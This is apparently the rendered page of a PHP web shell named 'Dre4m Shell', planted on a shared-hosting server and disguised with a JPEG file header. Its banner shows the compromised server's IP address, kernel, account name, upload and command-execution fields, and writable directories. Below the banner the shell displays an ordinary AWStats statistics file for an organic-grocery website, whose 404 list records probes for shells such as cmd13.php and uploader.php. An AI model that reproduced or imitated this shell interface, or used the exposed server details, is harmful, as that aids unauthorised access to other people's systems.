ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/tmp/awstats/ssl/awstats052022.vracandbio.computer3.fr.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202205 will be lost/reset.
# Last config file used to build this data file was /home/computer3/tmp/awstats/ssl/awstats.vracandbio.computer3.fr.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2025                
POS_TIME 2702                
POS_VISITOR 37428               
POS_DAY 96795               
POS_DOMAIN 3891                
POS_LOGIN 5289                
POS_ROBOT 5444                
POS_WORMS 7083                
POS_EMAILSENDER 7214                
POS_EMAILRECEIVER 7357                
POS_SESSION 97808               
POS_SIDER 98022               
POS_FILETYPES 7492                
POS_DOWNLOADS 7843                
POS_OS 7891                
POS_BROWSER 8728                
POS_SCREENSIZE 15019               
POS_UNKNOWNREFERER 15093               
POS_UNKNOWNREFERERBROWSER 17361               
POS_ORIGIN 19060               
POS_SEREFERRALS 19209               
POS_PAGEREFS 19583               
POS_SEARCHWORDS 20320               
POS_KEYWORDS 20509               
POS_MISC 2366                
POS_ERRORS 20615               
POS_CLUSTER 5145                
POS_SIDER_404 20756               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220601000008 14279 3846402 14788078990500
FirstTime 0
LastTime 20220531232547
LastUpdate 20220601000631 14279 0 14278 0 0
TotalVisits 1330                
TotalUnique 1079                
MonthHostsKnown 0                   
MonthHostsUnknown 1629                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
FlashSupport 0 0 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 9 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 102 1311 109396936 21565 22282 2510675467
1 270 624 57189255 22087 22616 2572956194
2 630 1478 149622914 21496 21900 2505987807
3 166 1573 134986844 22054 23344 2615272081
4 141 365 43316423 22807 23469 2664310518
5 170 695 68210258 24025 24542 2805505224
6 93 1149 71513267 23393 23789 2745351572
7 613 6191 422435954 25450 26409 3008643575
8 204 2449 203712475 22964 23312 2725236908
9 298 3309 228084793 23302 24115 2736430520
10 374 4651 307044009 22475 23168 2626687080
11 356 5129 377748074 20886 21286 2440756780
12 453 5937 437180442 21529 22099 2498514854
13 407 5089 360038408 19547 20109 2270410582
14 254 4257 298285183 20401 20895 2365357131
15 495 4422 327457940 20559 21172 2398934902
16 384 4942 332554377 21220 22087 2486727077
17 344 3775 333275890 21347 22350 2508285638
18 607 5261 398641567 21345 22325 2574285110
19 422 3518 262926650 20140 20632 2328336561
20 218 2618 209887590 19937 21223 2346354812
21 383 3875 315922954 20646 21800 2427727076
22 191 2898 212335766 21166 21846 2455358826
23 204 3171 232618781 21989 23202 2598340427
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 73
fr 4773 54876 4033762688
us 1922 14299 1119263066
gb 290 834 69833718
ru 116 1502 111855949
be 78 1118 104795558
de 56 560 36656301
es 52 393 21637186
ca 52 974 75147949
it 29 100 5460091
nl 28 29 6388023
se 27 132 13361260
ie 26 659 44010303
in 26 105 11457104
mg 25 273 20690501
ch 19 265 28083454
ir 18 63 3162700
si 17 193 8576147
sn 17 179 14751847
il 16 96 8003968
dz 14 181 12346694
cz 13 90 7970509
zz 12 13 1323172
ro 12 56 6340159
bg 10 15 2236545
hu 10 284 13970242
my 2 10 509364
gr 1 8 186329
ua 4 18 889598
ma 3 8 665275
nz 2 2 423385
nc 0 1 1559408
sa 1 1 211534
bj 2 5 1468768
ar 0 1 1041571
vg 0 5 492214
lr 0 1 1603985
ci 0 1 547630
mr 5 85 5996785
cl 3 3 367872
dk 2 2 304502
np 0 1 28747
pl 8 91 8968631
sk 3 3 216986
bd 1 15 640317
ga 5 88 5221496
td 0 1 15167
sg 1 1 211242
jp 9 87 7240115
no 0 1 904135
ht 0 1 688192
id 0 4 3079422
lb 3 70 4912012
cn 7 21 1449427
hk 1 1 211286
lu 0 2 1872254
au 5 37 8154672
ip 7 7 1031105
za 8 82 8887851
pk 3 8 323590
iq 0 5 41083
re 0 1 471498
pt 5 144 7520889
by 0 1 65029
al 1 1 90652
cm 0 1 434470
ve 6 73 5155675
ke 3 85 6047777
tn 0 1 58455
kr 5 143 7494130
tr 1 1 211792
pm 4 143 7528306
br 6 82 5922534
ne 4 45 1934459
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 36
AhrefsBot/ 267840 31818991203 20220531235934 35
SemrushBot/ 249577 26462368786 20220531235939 2535
Googlebot/ 6917 851206772 20220531235844 56
bot[\s_+:,\.\;\/\\-] 3725 488947227 20220531230354 37
(firefox/)([0-9]\.|[0-1][0]\.) 3498 369259556 20220531025008 1
robot 1035 199286597 20220517231226 2
YandexBot/ 715 67945790 20220531233611 133
Googlebot\-Image/ 685 162683062 20220531232223 0
crawl 473 67647666 20220530122424 3
Applebot/ 375 41259065 20220531225716 28
facebookexternalhit/ 346 29613327 20220531123030 15
Konqueror/ 297 18585401 20220527000926 0
Mail\.RU_Bot/ 245 28114342 20220531183636 71
Firefox/1\.5 210 17420221 20220524123400 0
ng/1\. 123 6745947 20220503185359 0
CCBot/ 70 10660259 20220517005944 2
java 69 5769819 20220531050814 0
MJ12bot/ 58 7776386 20220528133301 25
YandexImages/ 34 4407181 20220531233615 0
unknown 32 2848 20220530075122 32
Deepnet[\x20]Explorer 32 987287 20220510134947 0
Go\-http\-client/ 28 513133 20220530043919 15
SeznamBot/ 20 5821768 20220528194135 9
yandex 18 240886 20220530163849 0
no_user_agent 8 1257479 20220527211803 0
SurdotlyBot/ 3 422631 20220508050054 1
survey 1 212084 20220508191217 0
CFNetwork 6 133723 20220531131849 0
Screaming[\x20]Frog[\x20]SEO[\x20]Spider/ 2 211486 20220526153722 1
Dalvik/ 3 66783 20220502214548 0
Apache\-HttpClient/ 4 356 20220526095341 4
MojeekBot 2 212049 20220502031641 1
SemrushBot-SI 4 445234 20220526095341 0
nbot 2 130973 20220530181226 1
curl 1 141937 20220530151645 0
LinkedInBot/ 2 3115977 20220530113730 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
woff 18 951912 0 0
gif 739 6288334 0 0
jpg 25625 4117370189 0 0
js 7477 141011084 0 0
svg 666 371731 0 0
css 13602 260438863 0 0
html 771 164871623 0 0
png 22799 758854167 0 0
ttf 1 122092 0 0
php 3781 121152234 0 0
woff2 659 37418020 0 0
Unknown 2187 285275861 0 0
json 362 260640 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 48
winnt 85 16
macosx14 512 43
win2003 513 26
win98 253 17
linuxdebian 455 24
macosx5 297 12
win8 135 34
win8.1 734 33
winxp 1895 121
win10 21891 2163
android 9155 642
macintosh 69 4
linux 4427 351
androidoreo 1952 252
bsdfreebsd 186 8
android10 5454 499
macosx7 1 1
macosx12 1494 259
symbian 1 1
win2000 423 28
androidnougat 205 23
bsdopenbsd 72 5
linuxcentos 66 5
linuxubuntu 671 106
androidjellybean 1 1
ios_iphone 10397 882
unix 529 29
winlong 424 36
winunknown 3 3
winme 101 9
macosx 773 42
androidmarshmallow 105 13
hp\-ux 123 4
macosx8 3 3
ios_ipad 168 9
macosx9 347 73
androidpie 1870 159
linuxfedora 123 4
macosx10 10 10
androidlollipop 11 7
macosx6 119 8
linuxredhat 67 4
macosx11 91 90
sunos 134 8
Unknown 3578 925
macosx13 691 54
macosx15 6495 492
win7 1578 241
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 303
chrome4.0.211.0 67 4
chrome77.0.2490.71 2 2
firefox36.0 1 1
firefox91.0 358 17
ibrowse 1 0
safari12.1.2 571 32
firefox74.0 2 2
chrome58.0.3029.110 4 1
chrome98.0.4758.81 2 2
chrome84.0.4147.89 9 9
chrome99.0.4844.58 1 0
chrome96.0.4664.104 528 31
chrome91.0.4472.114 11 11
firefox46.43.2 1 1
opera7.11 52 4
chrome96.0.4664.45 110 8
chrome84.0.4147.105 22 22
chrome90.0.4430.93 155 8
chrome3.0.195.17 28 3
chrome98.0.4758.80 426 25
firefox17.0 1 1
firefox36.42.2 1 1
chrome21.0.1200.0 67 4
chrome100.0.4896.60 460 15
opera7.0 120 4
iceape 270 12
chrome79.0.3945.88 2 2
firefox48.0 1 1
chrome101.0.4951.59 323 21
chrome90.0.4430.85 3 3
safari3.1.2 53 4
chrome51.0.2715.56 1 1
chrome92.0.4515.105 1 0
seamonkey 916 45
chrome75.0.3770.100 1 1
firefox12.3 30 3
opera8.65 67 4
firefox66.0 2 2
chrome101.0.4951.41 5258 514
Unknown 2346 848
camino 197 8
chrome81.0.4044.122 1 1
chrome100.0.4896.133 205 8
firefox47.0 41 41
msie7.0 361 36
safari1.2.3 69 4
netscape 73 5
firefox46.54.2 1 1
chrome98.0.4758.101 95 10
nokia 1 1
opera11.61 1 1
arora 39 4
chrome92.0.4515.159 6 6
chrome5.0.307.7 1 0
netscape4.78 67 4
chrome92.0.4024.48 1 1
opera9.23 118 8
opera5.12 68 4
chrome51.0.2704.103 4 4
chrome56.0.187 1 1
firefox73.0 2 2
safari3.1.1 122 4
chrome102.0.0.0 308 18
firefox19.0 1 1
chrome102.0.5005.63 14 3
safari4.0 52 4
chrome16.0.950.0 68 4
epiphany 52 4
chrome51.0.2736.65 1 1
chrome56.0.2924.87 31 2
chrome49.0.2641.82 1 1
netscape4.8 67 4
chrome95.0.4638.74 4 0
chrome83.0.4103.7 7 7
chrome89.0.4389.90 233 10
chrome80.0.3987.163 1 1
chrome102.0.5005.59 165 10
opera9.52 123 8
opera69.2.3606.65175 1 0
lynx 121 4
chrome79.0 2 2
chrome60.0.3112.107 5 5
safari14.0.3 173 13
chrome30.0.1599.82 1 1
chrome98.0.4758.87 3 1
chrome70.0.3538.110 141 5
chrome100.0.4896.88 286 36
chrome40.0.2277 1 1
chrome94.0.4606.85 155 11
chrome19.0.1061.1 39 5
granparadiso 67 4
safari15.5 777 46
firefox50.0 25 25
chrome97.0.4692.98 112 19
chrome24.0.1292.0 107 6
firefox52.0 265 42
netpositive 121 4
chrome96.0.4664.110 87 9
chrome74.0.3729.157 3 3
chrome49.0.1859 1 1
chrome103.0.5052.0 1 0
chrome100.0.4896.127 5387 448
chrome34.0.1847.131 1 1
firefox101.0 173 15
android 5 0
safari4.0.5 67 4
firefox15.0.1 2 2
firefox95.0 83 16
chrome96.0.4664.92 78 5
chrome100.0.4896.64 1 0
iceweasel 492 28
chrome59.0.3071.125 48 6
chrome92.0.4515.131 1304 43
chrome85.0.4183.121 1 1
firefox49.50.1 1 1
firefox61.0 4 4
opera86.0.4363.59 665 32
chrome62.0.3202.94 5 5
chrome11.0.672.2 52 4
opera9.21 67 4
opera9.63 69 4
chrome83.0.4103.131 1 1
firefox94.0 6 6
firefox38.37.1 1 1
firefox71.0 1 1
safari12.0 81 5
firefox41.47 1 1
msie8.0 164 11
edge12 1 0
opera9.00 99 8
firefox53.39 1 1
opera9.02 66 4
chrome102.0.5005.58 77 5
chrome86.0.4240.185 192 33
firefox47.46.1 1 1
safari13.1.2 159 10
chrome102.0.5005.62 149 9
chrome89.0.4389.116 91 5
chrome62.0.665 1 1
chrome31.0.1623.0 1 1
firefox37.45.2 1 1
chrome97.0.4692.99 105 13
firefox42.0 20 20
chrome92.0.4515.166 340 20
firefox100.0 3727 364
chrome86.0.4240.111 10 10
chrome30.0.1599.17 1 1
chrome100.0.4896.79 299 18
chrome91.0.4472.134 83 9
chrome52.0.2743.116 8 8
opera68.3.3557.64528 1 0
iphone 628 54
chrome97.0.4692.70 82 5
chrome62.0.379 1 1
firefox77.0 338 64
netscape5.0 2 2
msie5.05 39 4
firefox46.52 1 1
chrome100.0.4896.58 84 5
chrome72.0.3626.109 50 14
safari 3426 360
opera85.0.4341.72 252 6
edge17 2 2
chrome97.0.4692.71 3 2
chrome6.0.475.1 53 4
chrome40.0.2214.93 1 1
firefox68.0 143 7
chrome35.0.1916.47 6 6
chrome102.0.5002.0 148 7
firefox43.0 11 11
chrome4.0.275.2 67 4
flock 120 4
chrome102.0.5005.61 416 24
netscape7.1 48 5
chrome41.0.2228.0 1 1
chrome36.0.1985.67 1 1
safari15.4 6376 498
chrome87.0.4280.101 1 0
chrome7.0.520.0 53 4
chrome101.0.4951.64 2842 157
firefox47.49.1 1 1
safari12.0.3 1 1
chrome77.0.3835.0 36 3
chrome59.0.3071.115 17 17
opera87.0.4390.36 144 5
safari3.0 39 4
chrome51.0.2704.84 1 1
opera9.60 68 4
chrome99.0.4844.74 1 0
chrome70.0.3538.67 4 4
firefox54.0 4 4
k\-meleon 67 4
firefox46.41 1 1
chrome49.0.2625.66 1 1
chrome0.3.155.0 67 4
dillo 120 4
chrome101.0.0.0 679 41
bonecho 52 4
chrome93.0.4577.63 140 4
chrome76.0.3809.71 141 4
mozilla 769 55
safari13.0.5 1 1
chrome101.0.4951.61 7506 610
firefox22.0 1 1
chrome41.0.2227.0 69 6
opera9.70 174 8
safari15.3 1630 134
firefox44.0 47 13
opera85.0.4341.68 1 0
shiira 67 4
safari3.0.2 67 4
msie5.0 32 4
opera7.23 65 4
chrome87.0.4280.141 247 17
safari5.0.4 122 4
chrome102.0.5005.27 1 1
netscape4.73 34 5
chrome100.0.4896.75 278 8
chrome74.0.3729.169 13 13
chrome45.0.2454.94 1 1
chrome15.0.874.121 119 4
firefox90.0 1 1
firefox89.0 27 26
chrome95.0.4638.54 236 235
opera85.0.4341.75 225 6
firefox78.0 85 5
chrome75.0.3770.142 1 1
chrome47.0.2526.83 2 2
firefox88.0 15 15
chrome95.0.4638.69 2 2
safari15.1 120 6
chrome91.0.4472.164 76 5
chrome37.0.2049.0 3 3
minefield 251 16
firefox46.0 1 1
firefox67.0 2 2
firefox13.0 67 19
chrome80.0.3987.132 162 27
opera6.0 53 4
chrome53.0.2817.1 1 1
chrome80.0.3987.116 1 1
chrome78.0.3904.108 1 1
chrome49.0.2641.0 2 2
firebird 135 8
chrome2.0.172.40 66 4
chrome98.0.4758.82 3 3
chrome26.0.1410.65 2 2
chrome102.0.5005.78 397 24
chrome81.0.4044.138 79 6
safari13.1.3 99 5
chrome91.0.4472.124 11 8
safari14.1.1 241 10
chrome101.0.4951.54 5861 535
chrome34.0.1847.116 6 6
safari13.0.4 1 1
safari14.1.2 520 40
msie5.17 69 4
firefox98.0 231 10
chrome47.0.2370 1 1
safari6.0.2 1 1
chrome96.0.4664.61 1 0
firefox72.0 7 0
chrome93.0.4577.82 140 5
firefox99.0 1681 138
chrome13.0.782.20 68 4
opera9.01 117 3
safari15.2 447 42
netscape7.01 52 4
chrome70.0.3538.102 10 10
chrome64.0.3282.186 17 16
chrome99.0.4844.73 234 17
chrome46.0.1914 1 1
safari10.0 76 9
msie11.0 36 36
chrome76.0.3809.111 1 1
safari5.0.2 1 1
chrome34.0.1866.237 1 1
chrome41.0.2224.3 1 1
firefox97.0 321 90
safari2.0.1 68 4
chrome99.0.4844.88 132 41
safari3.0.4 121 4
chrome67.0.3396.87 120 17
chrome4.0.206.1 119 4
chrome58.0.747 1 1
chrome101.0.4951.67 4782 392
opera12.16 244 15
chrome45.0.2454.85 1 1
netscape4.75 72 5
chrome63.0.413 1 1
chrome99.0.4844.84 257 46
chrome75.0.3770.143 156 14
msie6.0 305 16
chrome50.0.2661.102 89 89
firefox27.0 1 1
firefox11.0 4 0
chrome75.0.3765.0 13 1
safari1.2.2 119 4
chrome83.0.4103.97 101 87
opera6.01 119 4
chrome83.0.4103.61 2 2
chrome104.0.0.0 4 4
chrome88.0.4240.193 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 51
Comodo_Dragon_16.1.1.0 20220510135044
Konqueror_3.0.0 20220504180713
SeaMonkey_2.1b3pre 20220531024945
Chrome_4.0.203.0 20220503185409
Iron_17.0.1000.2 20220523075132
Mozilla_1.8.0.1 20220503185519
Chrome_3.0.195.27 20220517031626
OreganoOregano 20220504180700
Dy_research_stat_1.0 20220530214505
Firefox_22.0 20220512124726
cortex/1.0 20220525122332
Wyzo_3.0.2 20220517031452
Iceweasel_3.1b3pre 20220524123351
Mozilla/4.0_(compatible;_ms-office;_MSOffice_16) 20220504155210
Netscape_4.77C 20220531024946
Flock_1.1 20220503015620
Opera_9.70 20220504180657
Firefox_3.6.19 20220504180713
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220503072642
Lunascape_6.1.7.21880 20220510030042
Python/3.6_aiohttp/3.3.2 20220519062435
Chrome_13.0.782.32 20220527001019
Lunascape_6.3.3.22929 20220518072312
Safari_3.1.1 20220504214444
SeaMonkey_1.0b 20220518072433
Mozilla/3.0_(compatible;_NetPositive/2.2) 20220524123329
Chrome_4.0.209.0 20220504214440
YahooMailProxy;_https://help.yahoo.com/kb/yahoo-mail-proxy-SLN28749.html 20220521073443
Mozilla/5.0_(compatible;_Dataprovider.com) 20220526182045
Chrome_6.0.458.1 20220524123512
Iceape_1.0.8 20220527000847
GuzzleHttp/7 20220509071345
Mozilla/5.0_(compatible;_Qwantify/1.0;__https://www.qwant.com/) 20220531151507
python-requests/2.27.1 20220523183554
Firefox_2.0b2 20220517031524
Dillo_0.8.6 20220518072219
Chrome_7.0.514.0 20220524123401
Mozilla/5.0/Firefox/42.0_-_nbertaupete95(at)gmail.com 20220529071629
SeaMonkey_2.0.3 20220504214439
Ruby 20220513074713
python-requests/2.25.1 20220518152702
SEMrushBot 20220513093205
axios/0.21.1 20220513214359
Iceweasel_2.0.0.16 20220517031533
SeaMonkey_2.22.1 20220517031441
sqlmap/1.0-dev-nongit-20220312_(http://sqlmap.org) 20220526014251
Firefox_3.5.2 20220517031612
panscient.com 20220527024522
Mozilla/5.0_(compatible;_Integrity/9;__https://peacockmedia.software/mac/integrity/ 20220527115849
Lynx/2.8.4dev.7_libwww-FM/2.14 20220527000922
Sunrise_0.84 20220510030107
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 36
OreganoOregano 20220504180700
Chrome_3.0.195.27 20220517031626
Dy_research_stat_1.0 20220530214505
Chrome_6.0.458.1 20220524123512
Firefox_22.0 20220512124726
GuzzleHttp/7 20220509071345
cortex/1.0 20220525122332
python-requests/2.27.1 20220523183554
Wyzo_3.0.2 20220517031452
Comodo_Dragon_16.1.1.0 20220510135044
Konqueror_3.0.0 20220504180713
Lunascape_6.3.3.22929 20220518072312
Safari_3.1.1 20220504214444
Chrome_4.0.203.0 20220503185409
Chrome_4.0.209.0 20220504214440
YahooMailProxy;_https://help.yahoo.com/kb/yahoo-mail-proxy-SLN28749.html 20220521073443
Windows_Microsoft_Windows_10_Entreprise_ZTunnel/1.0 20220502001822
Iron_17.0.1000.2 20220523075132
sqlmap/1.0-dev-nongit-20220312_(http://sqlmap.org) 20220526014251
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20220503072642
Firefox_3.5.2 20220517031612
panscient.com 20220527024522
Lunascape_6.1.7.21880 20220510030042
Python/3.6_aiohttp/3.3.2 20220519062435
Sunrise_0.84 20220510030107
Chrome_13.0.782.32 20220527001019
Midori/0.1.4_(X11;_Linux;_U;_en-us)_WebKit/532_ 20220531025007
Firefox_2.0b2 20220517031524
Netscape_4.77C 20220531024946
Chrome_7.0.514.0 20220524123401
Ruby 20220513074713
python-requests/2.25.1 20220518152702
LeechCraft_(X11;_U;_Linux;_ru_RU)_(LeechCraft/Poshuku_0.3.55-383-g7446455;_WebKit_4.5.2/4.5.2) 20220510135016
axios/0.21.1 20220513214359
SEMrushBot 20220513093205
Firefox_3.6.19 20220504180713
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 2032 2974
From1 9 9
From2 602 967
From3 41 47
From4 5095 74690
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 13
www_bing_com 4 4
www_google_com 488 773
www_google_be 4 7
www_google_co_uk 2 2
www_google_it 3 3
google_com 1 16
www_google_lu 0 1
live 0 4
startpage 1 1
www_google_ch 2 4
www_google_fr 90 143
www_google_pt 4 4
www_google_ca 3 5
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 16
https://waveradio.fm 10 10
https://l.facebook.com 8 8
https://coherence.lightning.force.com 5 5
http://m.facebook.com 4 4
https://lm.facebook.com 3 3
https://cartovrac.fr 3 3
https://www.esprit-celadon.fr 1 1
https://trustedshops.lightning.force.com 1 1
https://www.jrobert.xyz 1 1
http://www.katrd.xyz/blog/116577996/how-to-increase-organic-traffic-in-2022/ 1 1
https://l.instagram.com 1 1
https://www.sellsy.fr 1 1
https://www.katrd.xyz 1 1
http://www.jrobert.xyz/blog/116577996/how-to-quickly-increase-organic-traffic/ 1 1
https://litrewater.netlify.app 0 2
https://www.tags.media 0 4
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 1
farine+de+ma%c3%afs+vente+en+ligne 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 6
en 1
de 1
ma%c3%afs 1
farine 1
vente 1
ligne 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
404 2309 543766780
301 272 68180
302 36 12
401 1 35
500 846 4269
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 380
/marijuana.php 1 https://www.google.com
/w-20-sans-gluten/categorie-61-lessive-vaisselle 8 -
//2020/wp-includes/wlwmanifest.xml 1 -
/blog/wp-login.php 1 http://vracandbio.com
/fw.php 1 https://www.google.com
/w-20-sans-gluten/w-20-sans-gluten 8 -
/2020 2 http://www.vracandbio.com/2020
/w-20-sans-gluten/produit-269-crackers-madras-au-curry-bio-100g 9 -
/produit-152-noisettes-bio-100g/categorie-77-miels-pate-a-tartiner 8 -
/cat 3 -
/w-20-sans-gluten/categorie-71-thes-blancs 8 -
/w-20-sans-gluten/categorie-118-sables-cajou 8 -
/w-20-sans-gluten/page-retour-produit 8 -
//site/wp-includes/wlwmanifest.xml 4 -
/w-20-sans-gluten/categorie-60-essuie-tout-lavable-brosse 8 -
//media/wp-includes/wlwmanifest.xml 1 -
/2019 2 http://www.vracandbio.com/2019
//sito/wp-includes/wlwmanifest.xml 4 -
/forum 1 www.google.com
/w-20-sans-gluten/categorie-76-cafe-chicoree 8 -
/bak 1 http://www.vracandbio.com/bak
/w-20-sans-gluten/categorie-114-fromages 8 -
/apple-touch-icon-152x152-precomposed.png 4 -
/w-20-sans-gluten/mon-compte 8 -
/images/loading.gif 137 https://www.vracandbio.com/
/404.php 1 https://www.google.com
/uploader.php 1 https://www.google.com
/w-20-sans-gluten/blog-des-savons-bio-mais-pas-seulement 8 -
/produit-152-noisettes-bio-100g/categorie-20-idees-cadeaux 8 -
/2012 1 www.google.com
/categ 3 -
/lf.php 1 https://www.google.com
/w-20-sans-gluten/categorie-5-legumineuses 9 -
/phpinfo 1 -
/.well-known/traffic-advice 95 -
/produit-152-noisettes-bio-100g/categorie-55-deodorants 8 -
/Lux.php 1 https://www.google.com
/Site 1 http://www.vracandbio.com/Site
/w-20-sans-gluten/categorie-88-sirops 8 -
/cate 3 -
//wp2/wp-includes/wlwmanifest.xml 4 -
/bwlyqhqw.php 2 www.google.com
/cmd13.php 1 https://www.google.com
/m.php 1 https://www.google.com
/fckeditor/editor/filemanager/connectors/test.html 1 -
/w-20-sans-gluten/categorie-20-idees-cadeaux 9 -
/w-20-sans-gluten/categorie-19-cosmetiques 8 -
//test/wp-includes/wlwmanifest.xml 4 -
/ru.php 1 https://www.google.com
/w-20-sans-gluten/categorie-56-brosses-a-dents-dentifrices 8 -
/w-20-sans-gluten/page-nos-ateliers 8 -
//2019/wp-includes/wlwmanifest.xml 2 -
/admin/content/sitetree/ 1 -
/Navir.php 1 https://www.google.com
/apple-touch-icon-120x120.png 1 -
/Backup 2 http://www.vracandbio.com/Backup
/w-20-sans-gluten/categorie-99-spiritueux 8 -
/SITE 1 http://www.vracandbio.com/SITE
/w-20-sans-gluten/sitemap 8 -
/w-20-sans-gluten/categorie-48-riz-cereales 8 -
/w-20-sans-gluten/categorie-64-jeux-enigmes 8 -
/https//www.prevision-meteo.ch/services/html/capbreton/square 1 -
/Shop 1 http://www.vracandbio.com/Shop
/w-20-sans-gluten/categorie-2-rillettes-houmous 8 -
/apple-touch-icon-precomposed.png 1 -
